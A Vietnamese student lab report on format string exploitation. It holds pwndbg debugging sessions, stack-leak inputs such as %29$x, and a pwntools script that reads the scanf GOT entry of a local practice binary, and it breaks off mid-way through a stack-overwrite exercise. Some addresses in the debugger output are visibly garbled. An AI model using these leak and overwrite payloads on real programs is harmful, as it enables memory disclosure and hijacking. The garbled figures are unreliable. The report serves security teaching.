

BÁO CÁO THỰC HÀNH

Môn học: Lập trình an toàn và khai thác lỗ hổng phần mềm

Tên chủ đề: Format String

GVHD: Nguyễn Hữu Quyền

Nhóm: 09

1. THÔNG TIN CHUNG:

(Liệt kê tất cả các thành viên trong nhóm)

Lớp: NT521.011.ANTT.1

STT	Họ và tên	MSSV	Email
1	Nguyễn Thị Hồng Lam	20521518	20521518@gm.uit.edu.vn
2	Nguyễn Triệu Thiên Bảo	21520155	21520155@gm.uit.edu.vn
3	Trần Lê Minh Ngọc	21521195	21521195@gm.uit.edu.vn
4	Huỳnh Minh Khuê	21522240	21522240@gm.uit.edu.vn

2. NỘI DUNG THỰC HIỆN:¹

STT	Nội dung	Tình trạng
1	Yêu cầu 1	100%
2	Yêu cầu 2	100%
3	Yêu cầu 3	100%
4	Yêu cầu 4	100%
5	Yêu cầu 5	100%
6	Yêu cầu 6	100%
7	Yêu cầu 7	100%

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

¹ Ghi nội dung công việc, các kịch bản trong bài Thực hành

BÁO CÁO CHI TIẾT

B.1 Tìm hiểu về chuỗi định dạng

Yêu cầu 1. Giả sử cần chuẩn bị chuỗi định dạng cho printf(). Sinh viên tìm hiểu và hoàn thành các chuỗi định dạng cần sử dụng để thực hiện các yêu cầu bên dưới.

Yêu cầu	Chuỗi định dạng
1. In ra 1 số nguyên hệ thập phân	%d
2. In ra 1 số nguyên 4 byte hệ thập lục phân, trong đó luôn in đủ 8 số hexan.	%08X
3. In ra số nguyên dương, có ký hiệu + phía trước và chiếm ít nhất 5 ký tự, nếu không đủ thì thêm ký tự 0.	%+05u
4. In tối đa chuỗi 8 ký tự, nếu dư sẽ cắt bớt.	%.8s
5. In ra 1 số thực, trong đó đầu ra sẽ chiếm ít nhất 7 ký tự và luôn hiển thị 3 chữ số thập phân. Nếu số chữ số không đủ, nó sẽ đệm khoảng trắng ở phần nguyên.	%7.3f
6. In ra 1 số thực, trong đó đầu ra sẽ chiếm ít nhất 7 ký tự và luôn hiển thị 3 chữ số thập phân. Nếu số chữ số không đủ, nó sẽ đệm ký tự 0 ở phần nguyên.	%07.3f

B.2 Khai thác lỗ hổng format string để đọc dữ liệu

B.2.1 Đọc dữ liệu trong ngăn xếp – stack

Bước 1. Nhập chuỗi s bình thường

```
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab04$ ./app-leak
helloworld
00000001.22222222.ffffffff.helloworld
helloworld
```

Bước 2. Nhập chuỗi s là 1 chuỗi định dạng

```
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan$ ./app-leak
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
fffcff0.f7fbe7b0.00000001
```

Giải thích ý nghĩa của chuỗi định dạng trên?

Định dạng in giá trị theo hệ thống hex ít nhất 8 ký tự, bao gồm cả các số 0 đệm nếu giá trị không đủ 8 ký tự. Dấu chấm thực hiện việc in một dấu chấm giữa mỗi giá trị.

Bước 3. Phân tích kết quả nhận được

```
pwndbg> disassemble main
Dump of assembler code for function main:
0x0804849b <+0>:    lea     ecx,[esp+0x4]
0x0804849f <+4>:    and     esp,0xffffffff0
0x080484a2 <+7>:    push   DWORD PTR [ecx-0x4]
0x080484a5 <+10>:   push   ebp
0x080484a6 <+11>:   mov     ebp,esp
0x080484a8 <+13>:   push   ecx
0x080484a9 <+14>:   sub     esp,0x74
0x080484ac <+17>:   mov     DWORD PTR [ebp-0xc],0x1
0x080484b3 <+24>:   mov     DWORD PTR [ebp-0x10],0x22222222
0x080484ba <+31>:   mov     DWORD PTR [ebp-0x14],0xffffffff
0x080484c1 <+38>:   sub     esp,0x8
0x080484c4 <+41>:   lea     eax,[ebp-0x78]
0x080484c7 <+44>:   push   eax
0x080484c8 <+45>:   push   0x80485a0
0x080484cd <+50>:   call   0x8048380 <__isoc99_scanf@plt>
0x080484d2 <+55>:   add     esp,0x10
0x080484d5 <+58>:   sub     esp,0xc
0x080484d8 <+61>:   lea     eax,[ebp-0x78]
0x080484db <+64>:   push   eax
0x080484dc <+65>:   push   DWORD PTR [ebp-0x14]
0x080484df <+68>:   push   DWORD PTR [ebp-0x10]
0x080484e2 <+71>:   push   DWORD PTR [ebp-0xc]
0x080484e5 <+74>:   push   0x80485a3
0x080484ea <+79>:   call   0x8048350 <printf@plt>
0x080484ef <+84>:   add     esp,0x20
0x080484f2 <+87>:   sub     esp,0xc
0x080484f5 <+90>:   lea     eax,[ebp-0x78]
0x080484f8 <+93>:   push   eax
0x080484f9 <+94>:   call   0x8048350 <printf@plt>
0x080484fe <+99>:   add     esp,0x10
0x08048501 <+102>:  sub     esp,0xc
0x08048504 <+105>:  push   0xa
0x08048506 <+107>:  call   0x8048370 <putchar@plt>
0x0804850b <+112>:  add     esp,0x10
0x0804850e <+115>:  mov     eax,0x0
0x08048513 <+120>:  mov     ecx,DWORD PTR [ebp-0x4]
0x08048516 <+123>:  leave
```

Đặt breakpoint

```
pwndbg> run
Starting program: /home/minhngoc/Lap_trinh_an_toan/Lab04/app-leak
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

%08x.%08x.%08x

Breakpoint 1, 0x080484ea in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
*EAX 0xffffcf80 ← '%08x.%08x.%08x'
*EBX 0xf7e2a000 ( _GLOBAL_OFFSET_TABLE_ ) ← 0x229dac
*ECX 0xf7da4380 ( _nl_C_LC_CTYPE_class+256 ) ← 0x20002
EDX 0x0
*EDI 0xf7ffcb80 ( _rtld_global_ro ) ← 0x0
*ESI 0xffffd0c4 → 0xffffd29b ← '/home/minhngoc/Lap_trinh_an_toan/Lab04/app-leak'
*EBP 0xffffcff8 → 0xf7ffd020 ( _rtld_global ) → 0xf7ffda40 ← 0x0
*ESP 0xffffcf60 → 0x80485a3 ← and eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
*EIP 0x80484ea (main+79) → 0xfffe61e8 ← 0x0
[ DISASM / i386 / set emulate on ]
► 0x80484ea <main+79>      call    printf@plt                <printf@plt>
      format: 0x80485a3 ← '%08x.%08x.%08x.%s\n'
      vararg: 0x1

0x80484ef <main+84>      add     esp, 0x20
0x80484f2 <main+87>      sub     esp, 0xc
0x80484f5 <main+90>      lea     eax, [ebp - 0x78]
0x80484f8 <main+93>      push    eax
0x80484f9 <main+94>      call    printf@plt                <printf@plt>

0x80484fe <main+99>      add     esp, 0x10
0x8048501 <main+102>     sub     esp, 0xc
0x8048504 <main+105>     push    0xa
0x8048506 <main+107>     call    putchar@plt              <putchar@plt>

0x804850b <main+112>     add     esp, 0x10

00:0000 | esp 0xffffcf60 → 0x80485a3 ← and eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
01:0004 | -094 0xffffcf64 ← 0x1
02:0008 | -090 0xffffcf68 ← 0x22222222 ('''')
03:000c | -08c 0xffffcf6c ← 0xffffffff
04:0010 | -088 0xffffcf70 → 0xffffcf80 ← '%08x.%08x.%08x'
05:0014 | -084 0xffffcf74 → 0xffffcf80 ← '%08x.%08x.%08x'
06:0018 | -080 0xffffcf78 → 0xf7f7be7b0 → 0x804829f ← inc edi /* 'GLIBC_2.0' */
07:001c | -07c 0xffffcf7c ← 0x1
[ BACKTRACE ]
► 0 0x80484ea main+79
  1 0xf7c21519 __libc_start_call_main+121
  2 0xf7c215f3 __libc_start_main+147
  3 0x80483c1 _start+33
```

Tiếp tục chương trình

```
pwndbg> c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

Breakpoint 2, 0x080484f9 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
EAX 0xffffcf80 ← '%08x.%08x.%08x'
EBX 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ← 0x229dac
*ECX 0x0
EDX 0x0
EDI 0xf7ffcb80 (_rtld_global_ro) ← 0x0
ESI 0xffffd0c4 → 0xffffd29b ← '/home/minhngoc/Lap_trinh_an_toan/Lab04/app-leak'
EBP 0xffffcff8 → 0xf7ffd020 (_rtld_global) → 0xf7ffda40 ← 0x0
*ESP 0xffffcf70 → 0xffffcf80 ← '%08x.%08x.%08x'
*EIP 0x080484f9 (main+94) → 0xfffe52e8 ← 0x0
[ DISASM / i386 / set emulate on ]
0x080484ea <main+79> call printf@plt <printf@plt>
0x080484ef <main+84> add esp, 0x20
0x080484f2 <main+87> sub esp, 0xc
0x080484f5 <main+90> lea eax, [ebp - 0x78]
0x080484f8 <main+93> push eax
▶ 0x080484f9 <main+94> call printf@plt <printf@plt>
format: 0xffffcf80 ← '%08x.%08x.%08x'
vararg: 0xffffcf80 ← '%08x.%08x.%08x'
0x080484fe <main+99> add esp, 0x10
0x08048501 <main+102> sub esp, 0xc
0x08048504 <main+105> push 0xa
0x08048506 <main+107> call putchar@plt <putchar@plt>
0x0804850b <main+112> add esp, 0x10
[ STACK ]
00:0000 esp 0xffffcf70 → 0xffffcf80 ← '%08x.%08x.%08x'
01:0004 -084 0xffffcf74 → 0xffffcf80 ← '%08x.%08x.%08x'
02:0008 -080 0xffffcf78 → 0xf7f7be7b0 → 0x0804829f ← inc edi /* 'GLIBC_2.0' */
03:000c -07c 0xffffcf7c ← 0x1
04:0010 eax 0xffffcf80 ← '%08x.%08x.%08x'
05:0014 -074 0xffffcf84 ← '%08x.%08x'
06:0018 -070 0xffffcf88 ← '%x.%08x'
07:001c -06c 0xffffcf8c ← 0xf7007838 /* '8x' */
[ BACKTRACE ]
▶ 0 0x080484f9 main+94
1 0xf7c21519 __libc_start_call_main+121
2 0xf7c215f3 __libc_start_main+147
3 0x080483c1 _start+33
```

Yêu cầu 2. Sinh viên khai thác và truyền chuỗi s để đọc giá trị biến c của main. Giải thích ý nghĩa của chuỗi định dạng và lý do có thể in được giá trị cần thiết.
Địa chỉ \$ebp-0x14 là địa chỉ của biến c

```

[ STACK ]
00:0000 | esp 0xffffcfc0 ← 0x0
01:0004 | -074 0xffffcfc4 ← 0x1
02:0008 | -070 0xffffcfc8 → 0xf7ffda40 ← 0x0
03:000c | -06c 0xffffcfc0 → 0xf7ffda00 ( _GLOBAL_OFFSET_TABLE_ ) ← 0x36f2c
04:0010 | -068 0xffffcfd0 → 0xf7fc4540 ( __kernel_vsyscall ) ← push ecx
05:0014 | -064 0xffffcfd4 ← 0xffffffff
06:0018 | -060 0xffffcfd8 → 0x8048034 ← push es
07:001c | -05c 0xffffcfdc → 0xf7fc66d0 ← 0xe

[ BACKTRACE ]
▶ 0 0x80484c1 main+38
  1 0xf7c21519 __libc_start_call_main+121
  2 0xf7c215f3 __libc_start_main+147
  3 0x80483c1 _start+33

pwndbg> p/x $ebp-0x14
$1 = 0xfffffd024
pwndbg>

```

Tiếp đến, xem vị trí đặt các tham số của hàm printf thứ 2. Ta thấy tham số đầu tiên, tức là địa chỉ chuỗi định dạng được đặt ở địa chỉ 0xfffffcfc0

```

[ STACK ]
00:0000 | esp 0xffffcfb0 → 0xffffcfc0 ← '%08x.%08x.%08x'
01:0004 | -084 0xffffcfb4 → 0xffffcfc0 ← '%08x.%08x.%08x'
02:0008 | -080 0xffffcfb8 → 0xf7f7b0 → 0x80482f ← inc edi /* 'GLIBC_2.0' */
03:000c | -07c 0xffffcfbc ← 0x1
04:0010 | eax 0xffffcfc0 ← '%08x.%08x.%08x'
05:0014 | -074 0xffffcfc4 ← '%08x.%08x'
06:0018 | -070 0xffffcfc8 ← 'x.%08x'
07:001c | -06c 0xffffcfcc ← 0xf7007838 /* '8x' */

[ BACKTRACE ]
▶ 0 0x80484f9 main+94
  1 0xf7c21519 __libc_start_call_main+121
  2 0xf7c215f3 __libc_start_main+147
  3 0x80483c1 _start+33

```

Ta xem các giá trị đang lưu gần địa chỉ 0xffffd130. Hàng đang được đánh dấu chứa các giá trị của biến a,b,c

```

pwndbg> x/40wx 0xffffffffb0
0xffffffffb0: 0xffffffffc0      0xffffffffc0      0xf7fbe7b0      0x00000001
0xffffffffc0: 0x78383025      0x3830252e      0x30252e78      0xf7007838
0xffffffffd0: 0xf7fc4540      0xffffffffff      0x08048034      0xf7fc66d0
0xffffffffe0: 0xf7ffd608      0x00000002      0x00000000      0xffffd1f8
0xfffff000: 0x00000000      0x00000000      0x01000000      0x00000009
0xfffffd00: 0xf7fc4540      0x00000000      0xf7c184be      0xf7e2a054
0xfffffd10: 0xf7fbe4a0      0xf7fd6f90      0xf7c184be      0xf7fbe4a0
0xfffffd20: 0xfffffd06      0xffffffffff      0x22222222      0x00000001
0xfffffd30: 0x00000001      0xfffffd05      0xf7ffd020      0xf7c21519
0xfffffd40: 0xfffffd2c3      0x00000007      0xf7ffd000      0xf7c21519
pwndbg>

```

Để đọc được đến dữ liệu tại hàng này, cần 29 ký hiệu %x

```
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab04$ python3 -c 'print("%x.%x." * 29)' | ./app-leak
```

Ta có thể sử dụng `%m$x` hoặc `%m$d` để đọc tham số thứ $m+1$ của `printf`


```
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab04$ python3 -c 'print("%29$x")' | ./app-leak
00000001.22222222.ffffffff.%29$x
ffffffff
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab04$
```

```
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab04$ python3 -c 'print("%29$d")' | ./app-leak
00000001.22222222.ffffffff.%29$d
-1
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab04$
```

So sánh giá trị k và m ở 2 cách này: m và k giống nhau

B.2.2 Đọc chuỗi trong ngăn xếp

Bước 1. Chạy chương trình và nhập chuỗi %s%s%s

```
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab04$ ./app-leak
%s%s%s
00000001.22222222.ffffffff.%s%s%s
Segmentation fault (core dumped)
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab04$
```

Bước 2. Giải thích kết quả với gdb

```
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab04$ gdb ./app-leak
(gdb) b *0x080484f9
Breakpoint 1 at 0x080484f9
(gdb) run
Starting program: /home/minhngoc/Lap_trinh_an_toan/Lab04/app-leak
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
%s%s%s
00000001.22222222.ffffffff.%s%s%s

Breakpoint 1, 0x080484f9 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
*EAX 0xffffcf80 ← '%s%s%s'
*EBX 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ← 0x229dac
ECX 0x0
EDX 0x0
*EDI 0xf7ffcb80 (_rtld_global_ro) ← 0x0
*ESI 0xffffd0c4 → 0xffffd29b ← '/home/minhngoc/Lap_trinh_an_toan/Lab04/app-leak'
*EBP 0xffffcff8 → 0xf7ffd020 (_rtld_global) → 0xf7ffda40 ← 0x0
*ESP 0xffffcf70 → 0xffffcf80 ← '%s%s%s'
*EIP 0x080484f9 (main+94) → 0xffffe52e8 ← 0x0

00:0000 | esp 0xffffcf70 → 0xffffcf80 ← '%s%s%s'
01:0004 | -084 0xffffcf74 → 0xffffcf80 ← '%s%s%s'
02:0008 | -080 0xffffcf78 → 0xf7f7be7b0 → 0x0804829f ← inc edi /* 'GLIBC_2.0' */
03:000c | -07c 0xffffcf7c ← 0x1
04:0010 | eax 0xffffcf80 ← '%s%s%s'
05:0014 | -074 0xffffcf84 ← 0x7325 /* '%s' */
06:0018 | -070 0xffffcf88 → 0xf7ffda40 ← 0x0
07:001c | -06c 0xffffcf8c → 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ← 0x36f2c
[ BACKTRACE ]
```

Yêu cầu 3: Giải thích vì sao %s%s%s gây lỗi chương trình?

%s sẽ lấy giá trị của địa chỉ mà nó đang trỏ tới

VD: tham số đầu tiên sẽ là giá trị của địa chỉ 0xffffcf74 tức là 0xffffcf80 hay "%s%s%s", tham số thứ hai là giá trị của địa chỉ 0xffffcf78 tức là giá trị trong 0xf7fbe7b0 và tham số thứ ba là giá trị trong địa chỉ 0x1 nhưng mà địa chỉ 0x1 không phải là một địa chỉ cụ thể trong linux nên bị lỗi bộ nhớ Segmentation fault.

Để chứng minh điều này, ta sẽ thử với hai tham số %s%s, kết quả rằng chương trình vẫn sẽ in kết quả bình thường.

```
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab04$ ./app-leak  
%s%s  
00000001.22222222.ffffffff.%s%s  
%s%s❖ii  
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab04$
```

B2.3 Đọc dữ liệu từ địa chỉ tùy ý

Bước 1: Xác định vùng nhớ cần đọc dữ liệu

```
pwndbg> got  
Filtering out read-only entries (display them with -r or --show-readonly)  
  
State of the GOT of /home/huynhminhkhue/Downloads/Lab4-resource/app-leak:  
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter  
[0x004a00c] printf@GLIBC_2.0 -> 0x0048356 (printf@plt+6) ← push 0 /* 'h' */  
[0x004a010] __libc_start_main@GLIBC_2.0 -> 0xf7c21560 (__libc_start_main) ← endbr32  
[0x004a014] putchar@GLIBC_2.0 -> 0x0048370 (putchar@plt+6) ← push 0x10  
[0x004a018] __isoc99_scanf@GLIBC_2.7 -> 0x0048386 (__isoc99_scanf@plt+6) ← push 0x18
```

Bước 2. Xác định vị trí của địa chỉ lưu trong chuỗi s so với vùng tham số của printf

Ta thấy địa chỉ của hàm scanf là 0x080484cd, địa chỉ hàm printf là 0x080484f9.


```
pwndbg> disassemble main
Dump of assembler code for function main:
0x0804849b <+0>:    lea     ecx,[esp+0x4]
0x0804849f <+4>:    and     esp,0xffffffff
0x080484a2 <+7>:    push   DWORD PTR [ecx-0x4]
0x080484a5 <+10>:   push   ebp
0x080484a6 <+11>:   mov     ebp,esp
0x080484a8 <+13>:   push   ecx
0x080484a9 <+14>:   sub     esp,0x74
0x080484ac <+17>:   mov     DWORD PTR [ebp-0xc],0x1
0x080484b3 <+24>:   mov     DWORD PTR [ebp-0x10],0x22222222
0x080484ba <+31>:   mov     DWORD PTR [ebp-0x14],0xffffffff
0x080484c1 <+38>:   sub     esp,0x8
0x080484c4 <+41>:   lea     eax,[ebp-0x78]
0x080484c7 <+44>:   push   eax
0x080484c8 <+45>:   push   0x80485a0
0x080484cd <+50>:   call   0x8048380 <__isoc99_scanf@plt>
0x080484d2 <+55>:   add     esp,0x10
0x080484d5 <+58>:   sub     esp,0xc
0x080484d8 <+61>:   lea     eax,[ebp-0x78]
0x080484db <+64>:   push   eax
0x080484dc <+65>:   push   DWORD PTR [ebp-0x14]
0x080484df <+68>:   push   DWORD PTR [ebp-0x10]
0x080484e2 <+71>:   push   DWORD PTR [ebp-0xc]
0x080484e5 <+74>:   push   0x80485a3
0x080484ea <+79>:   call   0x8048350 <printf@plt>
0x080484ef <+84>:   add     esp,0x20
0x080484f2 <+87>:   sub     esp,0xc
0x080484f5 <+90>:   lea     eax,[ebp-0x78]
0x080484f8 <+93>:   push   eax
0x080484f9 <+94>:   call   0x8048350 <printf@plt>
0x080484fe <+99>:   add     esp,0x10
0x08048501 <+102>:  sub     esp,0xc
0x08048504 <+105>:  push   0xa
0x08048506 <+107>:  call   0x8048370 <putchar@plt>
0x0804850b <+112>:  add     esp,0x10
0x0804850e <+115>:  mov     eax,0x0
0x08048513 <+120>:  mov     ecx,DWORD PTR [ebp-0x4]
0x08048516 <+123>:  leave
0x08048517 <+124>:  lea     esp,[ecx-0x4]
0x0804851a <+127>:  ret
End of assembler dump.
```

Đặt breakpoint tại các điểm này:

Breakpoint tại hàm scanf:

```
pwndbg> b * 0x080484cd
Breakpoint 3 at 0x080484cd
```

Breakpoint tại hàm print

```
pwndbg> b * 0x080484f9
Breakpoint 4 at 0x080484f9
```

Ta thấy tham số thứ 2 của hàm scanf là địa chỉ lưu của s, tức là 0xffffd000.

```
[ DISASM / i386 / set emulate on ]
0x80484c1 <main+38>  sub     esp, 8
0x80484c4 <main+41>  lea     eax, [ebp - 0x78]
0x80484c7 <main+44>  push    eax
0x80484c8 <main+45>  push    0x80485a0
0x80484cd <main+50>  call    __isoc99_scanf@plt          <__isoc99_scanf@plt>
format: 0x80485a0 ← 0x25007325 /* '%s' */
vararg: 0xffffd000 ← 0x0

0x80484d2 <main+55>  add     esp, 0x10
0x80484d5 <main+58>  sub     esp, 0xc
0x80484d8 <main+61>  lea     eax, [ebp - 0x78]
0x80484db <main+64>  push    eax
0x80484dc <main+65>  push    dword ptr [ebp - 0x14]
0x80484df <main+68>  push    dword ptr [ebp - 0x10]

[ STACK ]
00:0000 esp 0xffffcfff → 0x80485a0 ← and eax, 0x30250073 /* '%s' */
01:0004 -084 0xffffcfff4 → 0xffffd000 ← 0x0
02:0008 -080 0xffffcfff8 → 0xf7fbe7b0 → 0x804829f ← inc edi /* 'GLIBC_2.0' */
03:000c -07c 0xffffcfff8 ← 0x1
04:0010 eax 0xffffd000 ← 0x0
05:0014 -074 0xffffd004 ← 0x1
06:0018 -070 0xffffd008 → 0xf7ffda40 ← 0x0
07:001c -06c 0xffffd00c → 0xf7ffda00 (_GLOBAL_OFFSET_TABLE_) ← 0x36f2c
```

Tham số đầu của hàm printf được đặt tại địa chỉ 0xffffcfff0 chứa địa chỉ lưu của s.

```
[ DISASM / i386 / set emulate on ]
0x80484f9 <main+94>  call    printf@plt                  <printf@plt>
format: 0xffffd000 ← 'hello'
vararg: 0xffffd000 ← 'hello'

0x80484fe <main+99>  add     esp, 0x10
0x8048501 <main+102> sub     esp, 0xc
0x8048504 <main+105> push    0xa
0x8048506 <main+107> call    putchar@plt                <putchar@plt>

0x804850b <main+112> add     esp, 0x10
0x804850e <main+115> mov     eax, 0
0x8048513 <main+120> mov     ecx, dword ptr [ebp - 4]
0x8048516 <main+123> leave
0x8048517 <main+124> lea     esp, [ecx - 4]
0x804851a <main+127> ret

[ STACK ]
00:0000 esp 0xffffcfff0 → 0xffffd000 ← 'hello'
01:0004 -084 0xffffcfff4 → 0xffffd000 ← 'hello'
02:0008 -080 0xffffcfff8 → 0xf7fbe7b0 → 0x804829f ← inc edi /* 'GLIBC_2.0' */
03:000c -07c 0xffffcfff8 ← 0x1
04:0010 eax 0xffffd000 ← 'hello'
05:0014 -074 0xffffd004 ← 0x0f /* 'a' */
06:0018 -070 0xffffd008 → 0xf7ffda40 ← 0x0
07:001c -06c 0xffffd00c → 0xf7ffda00 (_GLOBAL_OFFSET_TABLE_) ← 0x36f2c
```

Xem 20 giá trị được lưu gần địa chỉ 0xffffcfff0.

```
pwndbg> x/20wx 0xffffcfff0
0xffffcfff0: 0xffffd000      0xffffd000      0xf7fbe7b0      0x00000001
0xffffd000: 0x6c6c6568      0x00000006f      0xf7ffda40      0xf7ffda00
0xffffd010: 0xf7fc4540      0xffffffff      0x08048034      0xf7fc66d0
0xffffd020: 0xf7ffda60      0x000000020      0x00000000      0xffffd234
0xffffd030: 0x00000000      0x00000000      0x01000000      0x00000009
pwndbg> █
```

Do tham số đầu tiên của hàm printf là địa chỉ của chuỗi s, nên nếu địa chỉ cần đọc dữ liệu ở được đặt ở đầu chuỗi s thì sẽ tương ứng với tham số thứ hai của hàm printf.

Bước 3. Tạo chuỗi định dạng để đọc dữ liệu từ địa chỉ

Yêu cầu 4: Sinh viên khai thác và truyền chuỗi s đọc thông tin từ Global Offset Table (GOT) và lấy về địa chỉ của hàm scanf. Giải thích ý nghĩa của chuỗi định dạng và lý do có thể in được giá trị cần thiết.

```
Open  [+]  yc4_scanf.py  Save  -  □  ×
~/Downloads/Lab4-resource
1 from pwn import *
2 sh = process('./app-leak')
3 leakmemory = ELF('./app-leak')
4 # address of scanf entry in GOT, where we need to read content
5 __isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
6 print ("- GOT of scanf: %s" % hex(__isoc99_scanf_got))
7 # prepare format string to exploit
8 # change to your format string
9 fm_str = b'%p%p%p'
10 payload = p32(__isoc99_scanf_got) + fm_str
11 print ("- Your payload: %s" % payload)
12 # send format string
13 sh.sendline(payload)
14 sh.recvuntil(fm_str+b'\n')
15 # remove the first bytes of __isoc99_scanf@got
16 print ("- Address of scanf: %s" % hex(u32(sh.recv()[4:8])))
17 sh.interactive()
```

```
huynhminhkhue@huynhminhkhue-virtual-machine:~/Downloads/Lab4-resource$ python3 yc4_scanf.py
[+] Starting local process './app-leak': pid 36478
[*] '/home/huynhminhkhue/Downloads/Lab4-resource/app-leak'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
- GOT of scanf: 0x804a018
- Your payload: b'\x18\xa0\x04\x08%p%p%p'
[*] Process './app-leak' stopped with exit code 0 (pid 36478)
- Address of scanf: 0x66667830
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
```

Giải thích: Dòng code thứ 16 dùng dữ liệu nhận được từ chương trình app-leak để tìm ra địa chỉ của hàm scanf:

- sh.recv(): được dùng để nhận dữ liệu từ chương trình app-leak thông qua kết nối đã tạo từ trước (dòng lệnh thứ 2).
- [4:8]: chỉ lấy 4 byte, từ byte thứ 4 đến byte thứ 8 trong số các byte dữ liệu đã nhận được. Việc này giả định rằng trong 4 byte dữ liệu đã lấy chứa địa chỉ của hàm scanf và địa chỉ này được trả về từ chương trình app-leak sau khi exploit.
- u32(): chuyển các byte dữ liệu đã nhận thành dạng số nguyên không dấu 32 bit, đây cũng là địa chỉ của hàm scanf được lấy ra từ dữ liệu đã nhận.
- hex(): chuyển các số nguyên không dấu trên thành dạng thập lục phân.

B.3 Khai thác lỗ hổng format string để ghi đè bộ nhớ

Yêu cầu 5: Sinh viên khai thác và truyền chuỗi s để ghi đè biến c của file appoverwrite thành giá trị 16. Giải thích ý nghĩa của chuỗi định dạng và lý do có thể in được giá trị cần thiết

B3.2: Ghi đè bộ nhớ ngăn xếp

Bước 1: Xác định địa chỉ cần ghi đè

```
huynhminhkhue@huynhminhkhue-virtual-machine:~/Downloads/Lab4-resource$ ./app-overwrite
0xffffffffdc
hello
hello
a = 123, b = 1c8, c = 789
```

Quan sát ta thấy biến c được lưu tại 0xffffffff08c

```
0x08048499 <+14>: sub esp,0x74
0x0804849c <+17>: mov DWORD PTR [ebp-0xc],0x315

[ DISASM / i386 / set emulate on ]
0x0804849c <main+17> mov dword ptr [ebp - 0xc], 0x315
0x080484a3 <main+24> sub esp, 8
0x080484a6 <main+27> lea eax, [ebp - 0xc]
0x080484a9 <main+30> push eax
0x080484aa <main+31> push 0x080485e0
> 0x080484af <main+36> call printf@plt <printf@plt>
format: 0x080485e0 <- 0xa7025 /* '%p\n' */
vararg: 0xffffffff08c <- 0x315

0x080484b4 <main+41> add esp, 0x10
0x080484b7 <main+44> sub esp, 8
0x080484ba <main+47> lea eax, [ebp - 0x70]
0x080484bd <main+50> push eax
0x080484be <main+51> push 0x080485e4

[ STACK ]
00:0000 esp 0xffffffff010 <- 0x080485e0 <- and eax, 0x25000a70 /* '%p\n' */
01:0004 084 0xffffffff014 <- 0xffffffff08c <- 0x315
02:0008 080 0xffffffff018 <- 0xf7f7b0 <- 0x0804829c <- inc edi /* 'GLIBC_2.0' */
03:000c 07c 0xffffffff01c <- 0x1
04:0010 078 0xffffffff020 <- 0x0
05:0014 074 0xffffffff024 <- 0x1
06:0018 070 0xffffffff028 <- 0xf7ffda40 <- 0x0
07:001c 06c 0xffffffff02c <- 0xf7ffdb00 (_GLOBAL_OFFSET_TABLE_) <- 0x36f2c

[ BACKTRACE ]
> 0 0x080484af main+36
1 0xf7c21519 __libc_start_call_main+121
2 0xf7c215f3 __libc_start_main+147
3 0x080483b1 _start+33

gwnbdbg> p/x $ebp - 0xc
$2 = 0xffffffff08c
gwnbdbg>
```

Debug chương trình ta thấy chuỗi s sẽ được lưu tại 0xffffffff028

```
0x080484b4 <main+41> add esp, 0x10
0x080484b7 <main+44> sub esp, 8
0x080484ba <main+47> lea eax, [ebp - 0x70]
0x080484bd <main+50> push eax
0x080484be <main+51> push 0x080485e4
> 0x080484c3 <main+56> call __isoc99_scanf@plt <__isoc99_scanf@plt>
format: 0x080485e4 <- 0xa007325 /* '%s' */
vararg: 0xffffffff028 <- 0xf7ffda40 <- 0x0

0x080484c8 <main+61> add esp, 0x10
0x080484cb <main+64> sub esp, 0xc
0x080484ce <main+67> lea eax, [ebp - 0x70]
0x080484d1 <main+70> push eax
0x080484d2 <main+71> call printf@plt <printf@plt>

[ STACK ]
00:0000 esp 0xffffffff010 <- 0x080485e4 <- and eax, 0x590a0073 /* '%s' */
01:0004 084 0xffffffff014 <- 0xffffffff028 <- 0xf7ffda40 <- 0x0
02:0008 080 0xffffffff018 <- 0xf7f7b0 <- 0x0804829c <- inc edi /* 'GLIBC_2.0' */
03:000c 07c 0xffffffff01c <- 0x1
04:0010 078 0xffffffff020 <- 0x0
05:0014 074 0xffffffff024 <- 0x1
06:0018 070 0xffffffff028 <- 0xf7ffda40 <- 0x0
07:001c 06c 0xffffffff02c <- 0xf7ffdb00 (_GLOBAL_OFFSET_TABLE_) <- 0x36f2c
```

Tiếp tục debug tới hàm printf() thứ 2 ta biết được tham số của nó bắt đầu tại 0xffffffff010

```

0x80484c3 <main+56>    call    __isoc99_scanf@plt          <__isoc99_scanf@plt>
0x80484c8 <main+61>    add     esp, 0x10
0x80484cb <main+64>    sub     esp, 0xc
0x80484ce <main+67>    lea     eax, [ebp - 0x70]
